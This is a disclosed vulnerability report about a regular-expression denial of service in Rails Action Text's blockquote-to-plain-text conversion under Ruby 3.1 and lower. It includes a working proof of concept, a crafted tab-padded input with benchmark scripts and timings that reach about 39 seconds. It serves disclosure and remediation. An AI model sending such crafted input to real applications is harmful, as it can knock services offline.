HexBrain

Ruby on Rails · Report #2389431

Action Text ReDoS (Ruby 3.1 or lower)

Validstatus
lowseverity
28upvotes
9 Jun 2026disclosed

How it was found

I have found ReDoS in Action Text. However, it does not occur with Ruby 3.2 or later.

https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/plain_text_conversion.rb#L64

      def plain_text_for_blockquote_node(node, index)
        text = plain_text_for_block(node)
        text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
      end

This is used in ActionText::Fragment#to_plain_text. https://github.com/rails/rails/blob/v7.1.3.2/actiontext/lib/action_text/fragment.rb#L47

It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).

{F3078833}


Confirm ReDoS with plain_text_regexp_benchmark.rb

require 'benchmark'

def plain(length)
  text =  "\t" * length + "a" + "\t" * length + "a"
  text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end


Benchmark.bm do |x|
  x.report { plain(10) }
  x.report { plain(100) }
  x.report { plain(1000) }
  x.report { plain(10000) }
  x.report { plain(100000) }
end
# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000008   0.000001   0.000009 (  0.000007)
   0.000055   0.000001   0.000056 (  0.000055)
   0.004528   0.000003   0.004531 (  0.004534)
   0.385151   0.000659   0.385810 (  0.386042)
  39.185124   0.129945  39.315069 ( 39.408578)

# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000008   0.000001   0.000009 (  0.000007)
   0.000010   0.000001   0.000011 (  0.000012)
   0.000060   0.000022   0.000082 (  0.000098)
   0.000549   0.000064   0.000613 (  0.000613)
   0.005388   0.001199   0.006587 (  0.006598)

# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000011   0.000001   0.000012 (  0.000008)
   0.000073   0.000001   0.000074 (  0.000073)
   0.000110   0.000011   0.000121 (  0.000122)
   0.001089   0.000196   0.001285 (  0.001285)
   0.010387   0.001831   0.012218 (  0.012250)   

PoC

❯ rails new -C  -G -T text
# => Rails 7.1.3.2

❯ rails action_text:install

❯ bundle install

❯ bundle exec bin/rails generate model Message content:rich_text

❯ bundle exec rails db:migrate

create plain_text_benchmark.rb

require 'benchmark'

def plain(length)
  text =  "\t" * length + "a" + "\t" * length + "a"
  message = Message.create!(content: "<blockquote>#{text}</blockquote>")
  message.content.to_plain_text
end


Benchmark.bm do |x|
  x.report { plain(10) }
  x.report { plain(100) }
  x.report { plain(1000) }
  x.report { plain(10000) }
  x.report { plain(100000) }
end
# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
       user     system      total        real
   0.031610   0.010543   0.042153 (  0.046888)
   0.003494   0.000228   0.003722 (  0.003872)
   0.007226   0.000156   0.007382 (  0.007383)
   0.396392   0.001231   0.397623 (  0.398462)
  39.107745   0.110123  39.217868 ( 39.334358)

Impact

When using ActionText under Ruby 3.1, it is ReDoS if crafted text is sent and to_plain_text is called.

The same regular expressions are used in Rails 6.1 and 7.0.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original